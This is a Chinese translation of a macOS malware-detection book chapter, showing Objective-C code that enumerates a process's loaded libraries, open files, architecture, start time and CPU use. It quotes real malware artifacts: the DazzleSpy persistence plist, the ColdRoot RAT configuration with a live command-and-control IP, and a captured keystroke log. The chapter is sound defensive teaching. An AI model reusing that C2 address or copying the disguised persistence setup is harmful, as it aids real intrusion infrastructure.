通过一次 XPC 调用收集的进程信息,可以验证从其他途径获得的知识,并提供新的细节。例如查询 launch agent 或守护进程(如 DazzleSpy),响应中的 path 键会包含触发该项启动的属性列表(plist)路径:

path = /Users/User/Library/LaunchAgents/com.apple.softwareupdate.plist

我们可以通过手动检查该属性列表(DazzleSpy 对应 com.apple.softwareupdate.plist),确认该路径确实指向恶意二进制:

<?xml version="1.0" encoding="UTF-8"?>
...
<plist version="1.0">
<dict>
    <key>KeepAlive</key>
    <true/>
    <key>Label</key>
    <string>com.apple.softwareupdate</string>
    <key>ProgramArguments</key>
    <array>
        <string>/Users/User/.local/softwareupdate</string>
        <string>1</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
    <key>SuccessfulExit</key>
    <true/>
</dict>
</plist>

能够追溯进程 ID 到触发其启动的启动项属性列表非常有用。为什么?因为大多数恶意软件为了实现持久化,会以启动项形式安装自己。虽然合法软件也可能通过启动项保持运行,但这些启动项都值得仔细检查,因为持久存在的恶意软件很可能隐藏其中。

代码签名

简而言之,代码签名可以证明一个项目的创建者身份,并验证其未被篡改。任何试图判断运行进程是恶意还是良性的检测算法都应提取代码签名信息。你应当重点关注未签名或临时签名(ad hoc)的进程,因为如今大多数合法的 macOS 程序都是签名并经过公证的。

谈到有效签名的进程,属于知名软件开发商的通常是良性的(供应链攻击除外)。此外,如果进程是由苹果官方签名的,几乎可以排除其为恶意软件(虽然,正如我们看到的,恶意软件可能利用苹果的二进制文件执行恶意操作,比如 Lazarus 组织利用 curl 下载更多恶意负载)。

代码签名的重要性使得本书专门用一整章来讲解,第3章将全面讨论,包括运行进程以及磁盘映像和安装包的签名验证。

已加载的库

在通过分析运行进程发现恶意软件时,还必须枚举进程加载的所有库。隐蔽的恶意软件,比如 ZuRu,不会单独启动一个进程,而是被加载进一个被篡改但表面正常的进程中。这种情况下,进程主二进制文件看起来良性,但会被修改以引用恶意库,确保恶意库被加载。

即使恶意软件以独立进程执行,仍需枚举其加载的库,原因有:

  • 恶意软件可能加载更多恶意插件,需要扫描或分析。
  • 恶意软件可能加载合法系统库以执行隐蔽操作,这能帮助了解其功能(例如,可能加载系统框架来访问麦克风或摄像头)。

遗憾的是,由于 macOS 安全机制,即使是签名且公证的第三方安全工具也无法直接枚举加载库。幸运的是,可以利用 macOS 内置工具 vmmap 以间接方式实现。该工具拥有苹果专属的权限,允许它读取远程进程内存,并提供包含所有加载库的映射信息。

运行 vmmap,针对前文提到的 ZuRu——它会木马化 iTerm(2) 应用,是个好例子。ZuRu 的恶意逻辑完全在名为 libcrypto.2.dylib 的动态库中。我们用 -w 参数让 vmmap 输出 ZuRu 加载库的完整路径。此工具需要进程 ID,下面提供 ZuRu 的进程 ID(这里是 932):

% pgrep iTerm2
932

% vmmap -w 932
Process:         iTerm2 [932]
Path:            /Applications/iTerm.app/Contents/MacOS/iTerm2
...
==== Non-writable regions for process 932
REGION     START - END         DETAIL
__TEXT     102b2b000-103247000 /Applications/iTerm.app/Contents/MacOS/iTerm2
__LINKEDIT 103483000-103cb4000 /Applications/iTerm.app/Contents/MacOS/iTerm2
...
__TEXT     10da4d000-10da85000 /Applications/iTerm.app/Contents/Frameworks/libcrypto.2.dylib
__LINKEDIT 10da91000-10dacd000 /Applications/iTerm.app/Contents/Frameworks/libcrypto.2.dylib
...

这段简化的输出显示了主程序映像(iTerm2)以及动态加载的库,包括动态加载器 dyld 和恶意库 libcrypto.2.dylib

我如何判断 libcrypto.2.dylib 是恶意组件?在发现这份 iTerm2 是由 Jun Bi 签名而非合法开发者签名后,我对比了它加载库列表和原版应用的库列表,唯一差异是 libcrypto.2.dylib。静态分析证实该异常库确实是恶意的。

因为我们没有苹果私有权限读取远程进程内存(包括所有加载库),所以只能执行 vmmap 并解析其输出。我的多个 Objective-See 工具,如 TaskExplorer,就是采用这种方法。enumerateProcesses 项目中的 getLibraries 函数也实现了此功能。

首先,需要一个辅助函数能执行外部二进制程序并返回其输出(清单 1-24):

#define STDERR @"stdError"
#define STDOUT @"stdOutput"
#define EXIT_CODE @"exitCode"

NSMutableDictionary* execTask(NSString* binaryPath, NSArray* arguments) {
    NSTask* task = nil;
    NSPipe* stdOutPipe = nil;
    NSFileHandle* stdOutReadHandle = nil;
    NSMutableDictionary* results = nil;
    NSMutableData* stdOutData = nil;

    results = [NSMutableDictionary dictionary];
    task = [NSTask new];stdOutPipe = [NSPipe pipe];
    stdOutReadHandle = [stdOutPipe fileHandleForReading];
    stdOutData = [NSMutableData data];task.standardOutput = stdOutPipe;
    task.launchPath = binaryPath;

    if(nil != arguments) {
        task.arguments = arguments;
    }

    [task launch];

    while([task isRunning]) {
      ❸ [stdOutData appendData:[stdOutReadHandle readDataToEndOfFile]];
    }

    [stdOutData appendData:[stdOutReadHandle readDataToEndOfFile]];
    if(0 != stdOutData.length) {
      ❹ results[STDOUT] = stdOutData;
    }

    results[EXIT_CODE] = [NSNumber numberWithInteger:task.terminationStatus];

    return results;
}

此函数利用苹果的 NSTask API 执行外部任务,等待任务完成后返回一个包含命令标准输出等信息的字典。为了捕获输出,代码初始化一个管道对象(NSPipe)❶,并设置为任务的标准输出❷。任务产生输出时,代码通过管道文件句柄读取数据❸,追加到数据缓存。任务结束后读取剩余输出,并将结果保存到字典❹中返回。

调用者(例如 getLibraries)可以用二进制路径和参数调用此函数。若需要,可以将其输出转换为字符串对象(清单 1-25):

pid_t pid = <某进程ID>;

NSMutableDictionary* results = execTask(@"/usr/bin/vmmap", @[@"-w", [[NSNumber numberWithInt:pid] stringValue]]);

NSString* output = [[NSString alloc] initWithData:results[STDOUT] encoding:NSUTF8StringEncoding];

接下来可用多种方式解析 vmmap 输出,如按行处理或用正则表达式。清单 1-26 展示了按行遍历并筛选以 __TEXT 开头行的示例:

NSMutableArray* dylibs = [NSMutableArray array];

for(NSString* line in [output componentsSeparatedByCharactersInSet:[NSCharacterSet newlineCharacterSet]]) {
    if(![line hasPrefix:@"__TEXT"]) {
        continue;
    }
    // 进一步处理该行,提取路径等
}

这里选择 __TEXT 开头的行,因为在 vmmap 输出中,所有动态库都从该类型的内存区域开始,这些行也包含加载库的完整路径。清单 1-27 演示如何在循环中提取路径:

NSRange pathOffset = {0};
NSString* token = @"SM=COW";

pathOffset = [line rangeOfString:token];
if(pathOffset.location == NSNotFound) {
    continue;
}

NSString* dylib = [[line substringFromIndex:pathOffset.location + token.length] stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceCharacterSet]];

if(dylib != nil) {
    [dylibs addObject:dylib];
}

代码首先查找复制时写共享模式(SM=COW),若存在,则提取其后路径字符串。此时,dylibs 数组应包含目标进程加载的所有动态库路径。

再运行 enumerateProcesses,针对之前的 ZuRu 实例:

% ./enumerateProcesses
...
(932):/Applications/iTerm.app/Contents/MacOS/iTerm2
...
Dynamic libraries for process iTerm2 (932):
(
"/Applications/iTerm.app/Contents/MacOS/iTerm2",
"/usr/lib/dyld",
"/Applications/iTerm.app/Contents/Frameworks/libcrypto.2.dylib",
...
)

如你所见,我们成功提取了 ZuRu 地址空间中加载的所有库,包括恶意的 libcrypto.2.dylib

需要注意的是,在 macOS 新版本中,系统框架(本质上也是一种动态库)已被迁移到称为 dyld_shared_cache 的共享缓存中。但 vmmap 仍会报告它们的原始路径。这一点重要,原因有两个:

  1. 如果你想查看框架代码,必须先从共享缓存中提取它们。
  2. 如果你实现了检测自删除框架库的逻辑,应该对这些框架做例外处理,否则会误报它们被删除。
    你可以调用苹果的 _dyld_shared_cache_contains_path API 来检测某框架是否被缓存。

打开的文件

正如枚举已加载的库能帮助我们了解进程能力一样,枚举任何打开的文件也同样重要。这种技术有助于识别一种名为 ColdRoot 的恶意软件,它是一种远程访问工具(RAT),允许攻击者完全控制被感染系统。

如果你列出感染了该恶意软件的系统中,每个进程打开的所有文件,会发现一个奇怪的文件 conx.wol,它被名为 com.apple.audio.driver.app 的进程打开。仔细检查会发现,这个进程并非苹果官方的,而是恶意软件 ColdRoot;conx.wol 是该恶意软件的配置文件,包含了对防御者有价值的信息,比如命令与控制服务器的地址:

% cat com.apple.audio.driver.app/Contents/MacOS/conx.wol
{
    "PO": 80,
    "HO": "45.77.49.118",
    "MU": "CRHHrHQuw JOlybkgerD",
    "VN": "Mac_Vic",
    "LN": "adobe_logs.log",
    "KL": true,
    "RN": true,
    "PN": "com.apple.audio.driver"
}

随后你还会发现恶意软件打开了另一个文件 adobe_logs.log,其中似乎记录了捕获的按键,包括银行账户的用户名和密码:

bankofamerica.com
[enter]
user
[tab]
hunter2
[enter]

你可能想知道,单靠程序方法如何判断这些文件是恶意的?事实上,这很复杂,可能需要编写正则表达式检测 URL、IP 地址或疑似捕获的按键(比如控制字符)。不过,更常见的是其他检测逻辑已经将这个未签名、打包的恶意软件标记为可疑,并交由人工分析。以 ColdRoot 为例,它未签名、被打包且实现了持久化。在这种情况下,检测程序可以提供可疑进程打开的所有文件列表和文件内容,分析人员据此确认恶意软件身份,并大致了解其行为。

proc_pidinfo

传统的枚举进程当前打开文件的方法是调用 proc_pidinfo API。简言之,传入 PROC_PIDLISTFDS 标志调用该 API,会返回指定进程打开的文件描述符列表。以下代码示例说明了用法。完整代码可在 enumerateProcesses 项目的 getFiles 函数中找到。先获取进程的文件描述符(清单 1-28):

int size = proc_pidinfo(pid, PROC_PIDLISTFDS, 0, 0, 0);

❷ struct proc_fdinfo* fdInfo = (struct proc_fdinfo*)malloc(size);

❸ proc_pidinfo(pid, PROC_PIDLISTFDS, 0, fdInfo, size);

清单 1-28:获取进程的文件描述符列表

代码先用 proc_pidinfo 传入进程 ID、PROC_PIDLISTFDS 标志和零值参数,获取保存文件描述符列表所需的内存大小 ❶。然后分配相应大小的缓冲区 ❷。接着再调用 proc_pidinfo,将缓冲区和大小作为参数传入,获取实际的文件描述符列表 ❸。

获得文件描述符列表后,我们开始逐个检查。常规文件的描述符类型为 PROX_FDTYPE_VNODE。清单 1-29 演示如何获取这些文件的路径:

NSMutableArray* files = [NSMutableArray array];

❶ for(int i = 0; i < (size/PROC_PIDLISTFD_SIZE); i++) {
    struct vnode_fdinfowithpath vnodeInfo = {0};

    ❷ if(PROX_FDTYPE_VNODE != fdInfo[i].proc_fdtype) {
        continue;
    }

    ❸ proc_pidfdinfo(pid, fdInfo[i].proc_fd,
        PROC_PIDFDVNODEPATHINFO, &vnodeInfo, PROC_PIDFDVNODEPATHINFO_SIZE);[files addObject:[NSString stringWithUTF8String:vnodeInfo.pvip.vip_path]];
}

清单 1-29:从文件描述符中提取文件路径

代码用 for 循环遍历所有文件描述符 ❶,对每个描述符判断其类型是否为 PROX_FDTYPE_VNODE,若不是则跳过 ❷。对符合条件的描述符,调用 proc_pidfdinfo 传入进程 ID、描述符、PROC_PIDFDVNODEPATHINFO 标志和接收结构体指针,获取该描述符的详细信息(包括路径) ❸。调用完成后,从 vnode_fdinfowithpath 结构体中的 pvip.vip_path 字段提取路径,转换为字符串对象保存到数组 ❹。

以上即为通过 proc_pidinfo 方式枚举进程打开文件的过程。

lsof

另一种枚举进程打开文件的方法是模仿 macOS 的活动监视器(Activity Monitor)工具。虽然该方法依赖外部 macOS 可执行程序,但它通常能生成比 proc_pidinfo 方法更全面的文件列表。

在活动监视器中,用户选中某个进程后,可以点击信息图标,再切换到“打开的文件和端口”标签,查看该进程打开的所有文件。通过逆向活动监视器,我们了解到它背后实际上是执行了 lsof,这是 macOS 内置的用于列出打开文件的工具。

你可以通过进程监视器确认活动监视器使用了 lsof,该工具将在第8章教你如何制作。当用户点击“打开的文件和端口”标签时,进程监视器会显示 lsof 被执行,带有命令行参数 -Fn-p

# ./ProcessMonitor.app/Contents/MacOS/ProcessMonitor

{
  "event" : "ES_EVENT_TYPE_NOTIFY_EXEC",
  "process" : {
    "pid" : 86903
    "name" : "lsof",
    "path" : "/usr/sbin/lsof",

    "arguments" : [
      "/usr/sbin/lsof",
      "-Fn",
      "-p",
      "590"
    ],
...
}

其中 -p 参数指定目标进程 ID,-F 参数指定要输出的字段。跟随 n 表示只打印文件路径,正是我们所需要的。

接下来,我们模仿活动监视器的方法,执行 lsof 来查询指定进程的打开文件,并编程解析它的输出。完整实现代码在 enumerateProcesses 项目中的 getFiles2 函数。清单 1-30 展示了用 -Fn-p 参数调用 lsof 的代码:

NSString* pidAsString = [NSNumber numberWithInt:pid].stringValue;
NSMutableDictionary* results = execTask(@"/usr/sbin/lsof", @[@"-Fn", @"-p", pidAsString]);

清单 1-30:程序化执行 lsof

这里复用了之前清单 1-24 中的 execTask 函数来运行命令。由于命令行参数需作为字符串传给外部进程,所以先将目标进程 ID 转为字符串。execTask 会等待任务完成,捕获输出并返回给调用者。

清单 1-31 演示了一种解析 lsof 输出的方法:

NSMutableArray* files = [NSMutableArray array];

NSArray* lines = [[[NSString alloc] initWithData:results[STDOUT] ❶
encoding:NSUTF8StringEncoding] componentsSeparatedByCharactersInSet:[NSCharacterSet newlineCharacterSet]]; ❷

for(NSString* result in lines) {
    if([result hasPrefix:@"n"]) { ❸
        NSString* file = [result substringFromIndex:1];
        [files addObject:file];
    }
}

清单 1-31:解析 lsof 输出

输出存储在名为 results 的字典中,可通过键 STDOUT 访问 ❶。我们用换行符拆分输出,逐行处理 ❷。遍历每一行,找出以 n 开头的(表示文件路径) ❸,将路径字符串截取后保存。

其他信息

当然,你可能还想从运行中的进程中提取其他信息,以帮助检测 macOS 系统上的恶意代码。本章最后列举几个例子,介绍如何获取进程的执行状态、执行架构、启动时间以及 CPU 利用率。你也可能想了解进程的网络状态,相关内容将在第4章介绍。

执行状态

假设你已经获取了进程 ID 列表,可能还想进一步查询进程(比如构建进程家谱树或计算代码签名信息)。但如果进程已经退出了(例如短暂的 shell 命令进程),这同样是重要信息,你至少要知道为什么后续查询失败。

一种简单判断进程是否已死的方法是尝试向它发送信号。可以用 kill 系统调用发送信号类型为 0,示例如下(清单 1-32):

kill(targetPID, 0);
if(ESRCH == errno) {
    // 仅当进程已死时才会执行此处代码。
}

清单 1-32:检查进程是否已死

此调用不会杀死任何存活的进程,完全无害。但如果进程已退出,errno 会被设置为 ESRCH(无此进程)。

如果进程变成了僵尸进程(zombie),可以使用 sysctl API 填充 kinfo_proc 结构,示例如下(清单 1-33):

int mib[4] =  {CTL_KERN, KERN_PROC, KERN_PROC_PID, pid};
size_t size = sizeof(procInfo);

sysctl(mib, 4, &procInfo, &size, NULL, 0);
if(SZOMB == (SZOMB & procInfo.kp_proc.p_stat)) {
    // 仅当进程是僵尸进程时执行此处代码。
}

清单 1-33:检查进程是否为僵尸进程

该结构包含名为 p_stat 的标志位,若其中包含 SZOMB 位,则该进程是僵尸。

执行架构

随着 Apple Silicon 的引入,macOS 支持 Intel(x86_64)和 ARM(ARM64)二进制。很多分析工具针对特定架构开发,因此识别进程的架构信息很重要。此外,尽管多数合法软件已重新编译为 Apple Silicon 原生版本,恶意软件还在追赶,许多仍以 Intel 二进制形式存在。2022年发现的部分仅以 Intel 二进制发布的恶意软件示例有 DazzleSpy、rShell、oRat 和 CoinMiner:

% file DazzleSpy/softwareupdate
DazzleSpy/softwareupdate: Mach-O 64-bit executable x86_64

因此,可能需要重点关注 Intel 二进制文件,而对 ARM 或通用二进制关注较少。

不幸的是,识别架构信息不像简单检查主机 CPU 类型那么直接,因为 Apple Silicon 系统仍可通过 Rosetta 运行 Intel 二进制。可以效仿活动监视器的做法,清单 1-34 展示了 enumerateProcesses 项目中 getArchitecture 函数的实现:

enum Architectures { ArchUnknown, ArchAppleSilicon, ArchIntel };

NSUInteger getArchitecture(pid_t pid) {
    NSUInteger architecture = ArchUnknown;
    cpu_type_t type = -1;
    size_t size = 0;
    int mib[CTL_MAXNAME] = {0};
    size_t length = CTL_MAXNAME;
    struct kinfo_proc procInfo = {0};

  ❶ sysctlnametomib("sysctl.proc_cputype", mib, &length);
    mib[length++] = pid;

    size = sizeof(cpu_type_t);
  ❷ sysctl(mib, (u_int)length, &type, &size, 0, 0);

  ❸ if(CPU_TYPE_X86_64 == type) {
        architecture = ArchIntel;
    } else if(CPU_TYPE_ARM64 == type) {
      ❹ architecture = ArchAppleSilicon;
        mib[0] = CTL_KERN;
        mib[1] = KERN_PROC;
        mib[2] = KERN_PROC_PID;
        mib[3] = pid;
        size = sizeof(procInfo);

        sysctl(mib, 4, &procInfo, &size, NULL, 0);
      ❺ if(P_TRANSLATED == (P_TRANSLATED & procInfo.kp_proc.p_flag)) {
            architecture = ArchIntel;
        }
    }
    return architecture;
}

清单 1-34:获取进程架构

此代码与活动监视器类似,首先使用字符串 "proc_cputype"sysctlnametomibsysctl API 获取运行进程的 CPU 类型。注意传给 sysctlnametomib 的数组大小为 CTL_MAXNAME,这是苹果定义的 MIB 名称最大组成数。

如果返回 CPU 类型是 Intel(CPU_TYPE_X86_64),则说明进程运行的是 x86_64 架构。但在 Apple Silicon 系统上,这些进程可能是通过 Rosetta 翻译的 Intel 二进制。为检测此情况,代码进一步调用 sysctl 获取进程的 p_flags。如果标志中包含 P_TRANSLATED 位,说明进程是翻译的 Intel 程序,活动监视器此时将架构判定为 Intel。

启动时间

在查询运行中的进程时,知道每个进程的启动时间非常有用。这有助于判断进程是系统启动时自动启动的,还是后续由用户启动的。自动启动的进程可能是持久化安装的,如果它们不属于操作系统,则应重点检查。

确定进程启动时间,可以再次使用 sysctl API。清单 1-35 是 enumerateProcesses 项目中的 getStartTime 函数示例,接受进程 ID 并返回启动时间:

NSDate* getStartTime(pid_t pid) {
    NSDate* startTime = nil;
    struct timeval timeVal = {0};
    struct kinfo_proc processStruct = {0};
    size_t procBufferSize = sizeof(processStruct);

    int mib[4] = {CTL_KERN, KERN_PROC, KERN_PROC_PID, pid};

    sysctl(mib, 4, &processStruct, &procBufferSize, NULL, 0); ❶
    timeVal = processStruct.kp_proc.p_un.__p_starttime; ❷

    return [NSDate dateWithTimeIntervalSince1970:timeVal.tv_sec + timeVal.tv_usec / 1.0e6]; ❸
}

清单 1-35:获取进程启动时间

代码调用 sysctl,填充 kinfo_proc 结构体 ❶。该结构体包含名为 p_starttimetimeval 结构 ❷。随后将 Unix 时间戳转换为更易处理的 NSDate 对象并返回 ❸。

CPU 利用率

本章最后介绍如何计算指定进程的 CPU 利用率。虽然这不是万无一失的判断依据,但有助于检测隐蔽的加密货币矿工,它们通常会最大化系统资源使用。

计算 CPU 利用率,先调用 proc_pid_rusage API,返回指定进程的资源使用信息。该 API 在 libproc.h 中声明如下:

int proc_pid_rusage(int pid, int flavor, rusage_info_t* buffer);

其中 flavor 参数可设置为常量 RUSAGE_INFO_V0,最后一个参数为输出缓冲区,类型应为 rusage_info_v0

清单 1-36 是 enumerateProcesses 项目中的 getCPUUsage 函数,先后两次调用 proc_pid_rusage,两次调用间隔一段时间(delta),再计算两次资源信息差值。代码灵感来源于 Stack Overflow 的帖子。

struct rusage_info_v0 resourceInfo_1 = {0};
struct rusage_info_v0 resourceInfo_2 = {0};

❶ proc_pid_rusage(pid, RUSAGE_INFO_V0, (rusage_info_t*)&resourceInfo_1);

sleep(delta);

❷ proc_pid_rusage(pid, RUSAGE_INFO_V0, (rusage_info_t*)&resourceInfo_2);

❸ int64_t cpuTime = (resourceInfo_2.ri_user_time - resourceInfo_1.ri_user_time)
+ (resourceInfo_2.ri_system_time - resourceInfo_1.ri_system_time);

清单 1-36:计算一段时间内进程 CPU 使用时间

如图,先调用一次 proc_pid_rusage 记录资源信息 ❶,等待一段时间(sleep(delta)),再调用一次 ❷。两次调用的进程 ID 相同。通过计算用户态时间和内核态时间差值得到 CPU 时间 ❸。

接下来,将 CPU 时间从 Mach 时间单位转为纳秒,清单 1-37 通过调用 mach_timebase_info 实现:

double cpuUsage = 0.0f;
mach_timebase_info_data_t timebase = {0};

mach_timebase_info(&timebase);
cpuTime = (cpuTime * timebase.numer) / timebase.denom;

cpuUsage = (double)cpuTime / delta / NSEC_PER_SEC * 100;

清单 1-37:计算 CPU 使用百分比

将 CPU 时间除以指定时间间隔和每秒纳秒数后乘以100,得到百分比 CPU 利用率。


下面用 enumerateProcesses 运行上述代码,检测本章前文提到的未授权加密货币矿工(Calendar 2 应用):

% ./enumerateProcesses
...
(1641):/Applications/CalendarFree.app/Contents/MacOS/CalendarFree
...
CPU usage: 370.750173%

由于应用在偷偷挖矿,CPU 利用率高达370%!(多核 CPU 上,CPU 利用率可以超过100%)。运行 macOS 自带的 ps 工具,指定 Calendar 应用进程 ID,也能确认此数据:

% ps u -p 1641
USER   PID      %CPU ...
user   1641     372.4 ...

虽然具体百分比随时间变化,ps 也显示该应用占用极高 CPU。

结论

在本章中,你学习了如何从运行中的进程提取大量有用信息,包括进程层级、代码签名信息等等。利用这些信息,你已经具备了在 macOS 系统中检测恶意软件的基础能力。下一章,我们将重点介绍如何编程解析和分析支撑每个进程的 Mach-O 可执行二进制文件。

注释

  1. 想了解更多关于审计令牌(audit tokens)的内容,可参考 Scott Knight 的文章 “Audit Tokens Explained”,发表于 Knight.sc,2020年3月20日,链接:knight.sc/reverse%20e…
  2. Patrick Wardle,“Analyzing OSX.DazzleSpy”,Objective-See,2022年1月25日,objective-see.org/blog/blog_0…
  3. Patrick Wardle,“Ironing Out (the macOS) Details of a Smooth Operator (Part II)”,Objective-See,2023年4月1日,objective-see.org/blog/blog_0…
  4. Patrick Wardle,“Discharging ElectroRAT”,Objective-See,2021年1月5日,objective-see.org/blog/blog_0…
  5. Aedan Russel,“ChromeLoader: A Pushy Malvertiser”,Red Canary,2022年5月25日,redcanary.com/blog/chrome…
  6. Mitch Datka,“CrowdStrike Uncovers New MacOS Browser Hijacking Campaign”,CrowdStrike,2022年6月2日,www.crowdstrike.com/blog/how-cr…
  7. Patrick Wardle,“A Surreptitious Cryptocurrency Miner in the Mac App Store?”,Objective-See,2018年3月11日,objective-see.org/blog/blog_0…
  8. 详见 “App Review Guidelines”,Apple,developer.apple.com/app-store/r…
  9. Patrick Wardle,“Where There Is Love, There Is... Malware?”,Objective-See,2023年2月14日,objective-see.org/blog/blog_0…
  10. 关于本攻击的更多细节,包括完整的负载分析,参见我的博客文章 “The Mac Malware of 2019: OSX.Yort”,Objective-See,2020年1月1日,objective-see.org/blog/blog_0…
  11. 了解更多关于 macOS 进程树的内容,见 Jaron Bradley 的演讲 “Grafting Apple Trees: Building a Useful Process Tree”,Objective by the Sea,2020年3月12日,objectivebythesea.org/v3/talks/OB…
  12. Jonathan Levin,“launchd, I’m Coming for You”,2015年10月7日,newosxbook.com/articles/jl…
  13. 参见 objective-see.com/products/ta…
  14. 关于此话题更多内容,见 Zhuowei Zhang,“Extracting Libraries from dyld_shared_cache”,Worth Doing Badly,2018年6月24日,worthdoingbadly.com/dscextract/
  15. Patrick Wardle,“Tearing Apart the Undetected (OSX)Coldroot RAT”,Objective-See,2018年2月17日,objective-see.org/blog/blog_0…
  16. “The cpu_time Obtained by proc_pid_rusage Does Not Meet Expectations on the macOS M1 Chip”,Stack Overflow,stackoverflow.com/questions/6…
  17. 关于 Mach 时间及纳秒转换,见 Howard Oakley,“Changing the Clock in Apple Silicon Macs”,The Eclectic Light Company,2020年9月8日,eclecticlight.co/2020/09/08/…